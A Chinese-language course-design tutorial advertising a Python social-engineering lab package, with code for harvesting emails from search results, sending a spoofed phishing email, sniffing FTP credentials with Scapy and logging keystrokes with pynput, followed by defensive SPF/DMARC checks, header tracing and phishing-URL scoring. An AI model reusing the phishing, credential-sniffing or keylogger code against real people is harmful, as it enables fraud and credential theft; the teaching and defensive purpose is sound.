简介这份课程设计资源以Python为工具围绕社会工程学攻击的完整流程展开适合网络安全方向学生、Python开发者以及需要完成课程设计、实训项目的读者既能强化编程实战也能理解社工攻击原理。资源共2个文件包含一份docx格式实验报告和一个py格式源码脚本压缩包整体仅1.09MB内容精炼、结构简单便于快速阅读与运行。已有429人学习使用适合作为信息收集、网络嗅探、邮件欺骗、语音交互模拟等知识点的实践素材。实验报告详尽记录了每个实验步骤的操作过程、结果与分析并配有代码解读和防御策略反思源码则将关键攻击逻辑清晰实现便于逐段对照学习。借助这份资料读者既能看清攻击链路的构建方式也能掌握Python网络编程技巧从而在合法合规前提下提升信息安全和隐私防护能力。1. 从一封钓鱼邮件说起社会工程学攻击链与Python课程设计的真实还原邮箱里躺着一封看似来自OA系统的通知发件人域名、Logo、落款都做得有模有样唯独链接指向的页面域名多了个不起眼的字符。这类攻击不爆破端口、不注入payload靠的是“人”这个最薄弱的环节。基于Python实现的社会工程学攻击课程设计正是把这条攻击链拆开揉碎——信息收集、邮件伪造、网络嗅探、键盘记录——让学习者站在攻击者视角理解每一个动作的触发条件与危害边界。源码包内含完整的youjian.py与实验报告适合网络安全方向课程设计也适合想搞清社工攻击原理的Python开发者。我们将从攻击链的第一环开始逐步还原实现并在每个模块给出对应的防御检测手段。2. 信息收集自动化OSINT 脚本背后的 requests 与数据清洗逻辑2.1 信息收集决定攻击的成功率社会工程学攻击讲究“精准投喂”目标越明确话术越可信。收集TA的社交账号、邮箱、工作单位、常用ID就能拼出足够自然的信任关系。在课程设计源码中信息收集模块通常不会直接访问深网或付费情报库而是基于公开资源——搜索引擎、社交平台、GitHub、企业信息公开页面——做自动化抓取这属于OSINT开源情报的范畴。Python在这一步的核心优势是生态成熟requests处理HTTP请求BeautifulSoup或lxml做HTML解析re做模式匹配。整个脚本的关键不在“能抓到什么”而在“抓到之后如何清洗和归并”——同一个人的邮箱可能在GitHub暴露一次在技术社区暴露一次格式各异需要统一处理。2.2 编写OSINT采集脚本从GitHub和社交页提取线索以下是一个贴合课程设计场景的采集脚本抓取搜索页中与目标关键词相关的邮箱、用户名和链接。它并不激进——单线程、带延时、只处理公开页面——符合教学演示的合规边界。import requests import re import time from bs4 import BeautifulSoup HEADERS { User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0 Safari/537.36 } EMAIL_REGEX r[a-zA-Z0-9._%-][a-zA-Z0-9.-]\.[a-zA-Z]{2,} USERNAME_REGEX r([a-zA-Z0-9_]{3,20}) def search_public_info(keyword: str, pages: int 3) - dict: results {emails: set(), usernames: set(), urls: set()} for page in range(1, pages 1): url fhttps://www.baidu.com/s?wd{keyword}pn{page * 10} try: resp requests.get(url, headersHEADERS, timeout8, proxiesNone) resp.raise_for_status() soup BeautifulSoup(resp.text, html.parser) page_text soup.get_text() results[emails].update(re.findall(EMAIL_REGEX, page_text)) results[usernames].update(re.findall(USERNAME_REGEX, page_text)) for a in soup.find_all(a, hrefTrue): if baidu.com/link in a[href]: results[urls].add(a[href]) time.sleep(1.5) # 友好爬取避免触发反爬 except requests.RequestException as e: print(f[!] 第{page}页请求失败: {e}) continue return results if __name__ __main__: data search_public_info(张三 site:github.com) print(邮箱:, data[emails]) print(用户名:, data[usernames]) print(外链:, data[urls])这段脚本做了三件事构造带UA的HTTP请求获取搜索引擎结果、用正则分别提取邮箱和用户名、收集跳转链接等待二次解析。参数pages控制翻页深度time.sleep(1.5)是访问节奏控制——课程设计答辩时老师往往会追问“你如何避免被封IP”这个延时就是答案。proxiesNone是显式禁用代理防止测试环境里挂代理导致连接异常。生产环境的OSINT工具一般会用random库随机化UA和延时区间但课程设计不需要那么复杂核心是把采集流程跑通。2.3 数据清洗与归一化把脏数据变成攻击者可用的画像采集结果不能直接用于后续攻击模块。搜索页里可能出现大量无关邮箱、被截断的链接、重复项。课程设计的报告里通常要求体现“数据处理”能力所以清洗逻辑值得单独强调。常见清洗策略如下表所示清洗目标处理方式对应代码逻辑去重使用set存储邮箱、URLresults[emails] set(...)域名过滤丢弃临时邮箱地址如mailinator.comif mailinator in email: continueURL归一化统一小写scheme和hostnameurlparse(url)._replace(netlocurlparse(url).netloc.lower())用户名后缀过滤排除qq.com等纯群发特征结合域名白名单判断def clean_emails(raw_emails: set, blacklist: set) - list: cleaned [] for email in raw_emails: if email.lower().endswith(tuple(blacklist)): continue if len(email) 50 or example in email: continue cleaned.append(email.lower()) return sorted(cleaned) blacklist {mailinator.com, guerrillamail.com, sharklasers.com} print(clean_emails(data[emails], blacklist))清洗逻辑的工程意义在于后续邮件伪造模块需要大量发信测试而临时邮箱域名大概率被主流邮件服务商拦截提前过滤能提高投递成功率。从攻击者的角度看信息收集永远先于行动数据越干净伪装越可信。3. 邮件伪造的构造、发送与检测smtplib、SPF/DKIM/DMARC 的攻防边界3.1 邮件协议的信任模型为什么伪造那么容易SMTP协议诞生于互联网早期核心设计前提是“所有中继服务器都可信”。它不像HTTP有丰富的认证机制一个MAIL FROM字段完全由发件人自行填写。Python的smtplib封装了SMTP客户端协议几行代码就能把发件人地址改成任意存在的域名而无需拥有该域名。这就是邮件欺骗的根本原因——协议层未强制校验发件人身份。加上现成的开源库伪造一封高仿邮件在技术门槛上几乎为零。课程设计源码中的youjian.py正是利用这一特点构造钓鱼邮件模拟攻击者向目标发送“安全通知”或“系统升级”邮件。3.2 构造一封高仿邮件MIMEText 与 SMTP 参数详解email库负责构造邮件结构smtplib负责投递。下面是一段简化版的教学演示代码发往本地测试邮件服务器不建议在未授权环境运行。import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.header import Header from email.utils import formataddr, make_msgid smtp_host smtp.testlab.local smtp_port 25 sender IT运维中心 admintestlab.local receiver targetvictim.local msg MIMEMultipart(alternative) msg[From] formataddr((str(Header(IT运维中心, utf-8)), admintestlab.local)) msg[To] formataddr((str(Header(张老师, utf-8)), receiver)) msg[Subject] Header(【安全提醒】您的邮箱配额即将满员, utf-8) msg[Message-ID] make_msgid(domaintestlab.local) msg[Date] email.utils.formatdate(localtimeTrue) html_content htmlbody p张老师您好/p p您的邮箱使用率已达 b92%/b系统将在24小时后暂停收发功能。/p p请点击 a hrefhttp://t1.testlab.local/recheck?uteacher01这里/a 重新验证邮箱。/p p stylecolor:gray;font-size:12pxIT运维中心本邮件由系统自动发送请勿回复。/p /body/html msg.attach(MIMEText(html_content, html, utf-8)) try: with smtplib.SMTP(smtp_host, smtp_port, timeout10) as client: client.ehlo() # 若服务器需要认证取消下面两行注释 # client.starttls() # client.login(outboundtestlab.local, passwd) client.sendmail(sender, [receiver], msg.as_string()) print([] 邮件已经提交到SMTP服务器) except smtplib.SMTPRecipientsRefused: print([-] 收件人被服务器拒绝) except smtplib.SMTPSenderRefused: print([-] 发件人被服务器拒绝SPF或连接IP策略可能生效)代码里的关键参数值得展开说明。formataddr((name, addr))用于构造带显示名的地址很多邮件客户端只展示显示名不展示真实地址攻击者常在这里写“IT运维中心”“财务部”等字眼增强可信度。make_msgid(domain...)生成合法Message-ID避免被部分反垃圾系统直接打上伪造标签。smtplib.SMTP(host, port, timeout)指定发件服务器、端口和超时。25端口是SMTP默认口但很多云主机封了25端口课程设计环境里换成465SSL或587STARTTLS更稳妥。client.ehlo()向服务器打招呼并告知自身主机名这是SMTP会话的第一步。注释掉的starttls()和login()对应的是发信服务器的身份认证——正规邮件服务商强制要求而在自制测试服务器上可以跳过。从防御角度看发信服务器必须开启发件人认证和连接白名单这是第一道闸门。3.3 SPF、DKIM、DMARC邮件信任链的三层防护邮件服务器收到一封自称来自testlab.local的邮件怎么判断它是否可信答案就在DNS记录里。验证协议作用解析记录类型验证逻辑SPF声明哪些IP允许代表该域名发信TXT连接IP是否在SPF记录ip4/cidr范围内DKIM用私钥对邮件头部和正文签名TXT选择器公钥验签判断内容是否被篡改DMARC策略汇总告诉收件方SPF/DKIM失败后怎么处理TXT对齐校验隔离或拒收在校园网的课程设计环境里攻击者搭建的伪造SMTP服务器往往没有SPF记录或者域名根本没有配置DNS。此时目标邮箱属于同一个内网测试域则可以绕过外部校验。但若针对公网邮箱如QQ邮箱、GmailSPF失败基本意味着直接进垃圾箱DMARC策略严格时直接拒收。防御验证命令很简单# 查询testlab.local的SPF记录 dig TXT testlab.local | grep -i spf # 查询DMARC策略 dig TXT _dmarc.testlab.local # 查看DKIM公钥选择器通常在邮件头可见 dig TXT default._domainkey.testlab.local实验报告里如果能加上“我尝试对QQ邮箱发送伪造邮件结果被拒收查阅SPF记录后发现对方dmarc策略为quarantine”这样的分析会明显提升内容深度。这也说明社工攻击的本质是寻找信任链的缺口SPF/DKIM/DMARC补得越齐鱼叉邮件成功率越低。4. Scapy 网络嗅探与键盘记录隔离环境中拆解攻击载荷4.1 为什么Sniff环节依然有效很多人以为全站HTTPS之后网络嗅探已经失效但在同一内网里仍然存在大量明文协议——FTP、Telnet、SMTP、HTTP甚至某些老旧数据库协议。Scapy是Python生态里最灵活的抓包与构造报文库能在L2/L3/L4层直接操作写课程设计时能快速抓取特定流量。在攻击链中嗅探是被动的情报收集手段。攻击者不需要发送任何恶意数据包只要在目标网络里接入一台主机比如通过钓鱼附件植入的远控就能持续监听内网流量。Pcap抓包之后用wireshark分析会卡在人工处理而Scapy脚本可以直接解析载荷、提取关键词自动完成敏感凭证的发现。4.2 用 Scapy 捕获 FTP/Telnet 明文凭证以下脚本监听指定网卡匹配21端口的FTP数据包提取USER和PASS字段并附带时间戳写入日志文件。from scapy.all import sniff, IP, TCP, Raw import datetime LOG_FILE sniff_ftplog.txt def extract_ftp_credentials(packet): 从TCP载荷中提取FTP命令只保留USER/PASS的明文部分。 if not (packet.haslayer(TCP) and packet.haslayer(Raw)): return if packet[TCP].dport ! 21: return payload bytes(packet[Raw].load).decode(utf-8, errorsignore) src_ip packet[IP].src dst_ip packet[IP].dst for line in payload.splitlines(): if line.upper().startswith(USER) or line.upper().startswith(PASS): timestamp datetime.datetime.now().strftime(%Y-%m-%d %H:%M:%S) log_entry f[{timestamp}] {src_ip} - {dst_ip} : {line.strip()}\n with open(LOG_FILE, a, encodingutf-8) as f: f.write(log_entry) print(log_entry.strip()) def run_sniffer(interface: str, count: int 100): 在指定接口上抓取有限数量的包后自动停止避免无限监听。 print(f[*] 开始监听 {interface}抓取 {count} 个包) sniff(ifaceinterface, prnextract_ftp_credentials, countcount)核心逻辑在extract_ftp_credentials函数中先用haslayer判断TCP层和Raw层的存在——Raw层代表有效载荷没有它说明是纯握手包然后检查目的端口是否为21避免处理无关数据。bytes(packet[Raw].load).decode(utf-8, errorsignore)把原始字节流安全地转成字符串errorsignore防止中文或二进制数据导致解码中断。sniff函数的参数iface指定网卡接口名Windows下一般是以太网或WLANLinux下是eth0/wlan0。count100是安全措施课程设计演示时抓满100个包自动退出避免持续监听带来的伦理争议。同一段代码稍作改造将dport ! 21改成dport ! 23即可匹配Telnet将dport判断改成packet.haslayer(DNS)再解析DNSQR.qname就能监控内网DNS查询记录从侧面推断访问了哪些网站。防御角度看这类嗅探成功的前提是流量经过攻击机器。交换机端口隔离、DHCP Snooping、网络准入控制都能有效阻断。而针对已中招主机EDR能检测到网卡被置为混杂模式的过程——这在实验报告中可以作为防御章节的落点。4.3 pynput 键盘记录攻击载荷的简单与可怕键盘记录器属于典型的信息窃取载荷Python的pynput库能监听全局键盘事件代码量只有十几行。课程设计里实现它的意义在于直观展示“恶意软件并不复杂”这一事实。import pynput.keyboard as kb log_lines [] def on_press(key): 按键回调将字符或特殊键名写入内存列表。 try: log_lines.append(key.char) except AttributeError: log_lines.append(f[{key.name}]) def start_keylogger(): with kb.Listener(on_presson_press) as listener: listener.join()这段代码在按下普通字符时把字符记录下来遇到空格、回车等功能键时用[key.name]标记比如[enter]、[backspace]。不需要处理特殊逻辑Listener是后台守护线程join()保证主线程持续运行。必须强调键盘记录在绝大多数场景属于恶意行为课程设计演示必须在隔离虚拟机中运行且只记录自己输入的测试数据。实验报告里应当明确写出“本模块仅在本人虚拟机中验证未对真实用户造成影响”。防御手段是开进程监控和EDR行为分析。正常进程不会同时监听键盘和网络一个可执行文件同时调用pynput并写日志文件在主流EDR规则库里基本是必报的。4.4 异常行为特征与检测思路模块可疑行为特征检测工具/手段网络嗅探网卡混杂模式长时间大量捕获包netstat -i检查RX/ERREDR网络监控键盘记录进程循环监听键盘事件写低频率日志Process Explorer查看线程/句柄邮件伪造内网主机频繁连接外网25/587端口防火墙出站策略SMTP协议审计把表格里这些特征与实验报告对照着写正好构成课程设计“攻击防御”的完整闭环。5. 用 Python 做防御端验证邮件头溯源与社工特征检测5.1 解析邮件头还原真实来源反制社工攻击的第一步是溯源。邮件头里的Received字段记录每一跳中继信息从下往上读就能还原传输路径。防御脚本可以直接解析原始邮件头提取发件IP和SPF校验结果。import email from email import policy from email.parser import BytesParser def parse_received_headers(raw_eml: str): 解析.eml文件提取Received字段和发件人信息 with open(raw_eml, rb) as f: msg BytesParser(policypolicy.default).parse(f) received_list msg.get_all(Received) print(f邮件主题: {msg[Subject]}) print(f声称发件人: {msg[From]}) print(Received链:) for line in received_list: print( |-, line.replace(\n, )[:120]) auth_results msg.get_all(Authentication-Results) if auth_results: for ar in auth_results: print(服务商验证结果:, ar[:180])BytesParser配合policy.default是Python 3.6之后最稳的方案能正确处理非ASCII编码的邮件头。get_all(Received)返回的列表顺序和原始邮件一致最底部是最初的发送IP——拿到这个IP后就可以用IP信誉库查询。对应的命令行验证# 将邮件全部内容直接输出头部 cat phishing.eml | sed -n /^Received:/,/^$/p # 查询发件IP的PTR反解 dig -x 203.0.113.55.2 用 dnspython 自动检查 SPF/DMARC 配置在授权测试中防御方可以批量检测自己域名是否存在伪造风险。dnspython库能直接发起DNS TXT记录查询下面是精简实现。import dns.resolver def check_spf(domain: str): 查询域的TXT记录过滤spf1标识 try: answers dns.resolver.resolve(domain, TXT) for rdata in answers: txt b.join(rdata.strings).decode(utf-8, errorsignore) if txt.startswith(vspf1): print(f[] SPF已配置: {txt}) return txt print([-] 未找到SPF记录) except dns.resolver.NXDOMAIN: print([-] 域名不存在) def check_dmarc(domain: str): DMARC记录固定存放在_dmarc子域下 try: answers dns.resolver.resolve(f_dmarc.{domain}, TXT) for rdata in answers: txt b.join(rdata.strings).decode(utf-8, errorsignore) print(f[] DMARC策略: {txt}) except dns.resolver.NXDOMAIN: print([-] 无DMARC记录伪造检测对齐策略缺失) check_spf(testlab.local) check_dmarc(testlab.local)dns.resolver.resolve(domain, TXT)的返回值是TXT记录集合每条TXT的rdata.strings是编码后的字节片段需要手动join再解码——这是dnspython库最常见的坑。学会这个处理方式后批量检查几百个域的SPF配置也只是加一层循环而已。5.3 钓鱼URL特征提取与风险打分课程设计最后可以写一个轻量级钓鱼链接检测函数提取链接的域名、路径深度、IP直连、端口号等特征并按权重打分。from urllib.parse import urlparse SUSPICIOUS_KEYWORDS [login, verify, security, account, confirm] def score_url(url: str) - int: 基于规则给URL钓鱼风险打分0-10分 score 0 parsed urlparse(url) # 使用IP直连而非域名 if parsed.hostname and parsed.hostname.replace(., ).isdigit(): score 3 # 非常规端口 if parsed.port and parsed.port not in (80, 443): score 2 # 路径包含关键词特征 for kw in SUSPICIOUS_KEYWORDS: if kw in parsed.path.lower(): score 1 # 超长域名或嵌套路径 if parsed.hostname and len(parsed.hostname) 30: score 2 return min(score, 10) url http://t1.testlab.local/recheck?uteacher01 print(风险分:, score_url(url))这个打分规则完全基于静态特征虽然不如机器学习模型全面但胜在代码简洁、可解释性强。把邮件里的链接全部提取出来跑一遍分数超过6的就需要人工复核。如果将源码中smtplib伪造模块与这个检测函数配合使用整个实验报告的攻击-防御逻辑链就完整了——提供Python生态下社工模拟与检测的无缝闭环。本文还有配套的精品资源点击获取
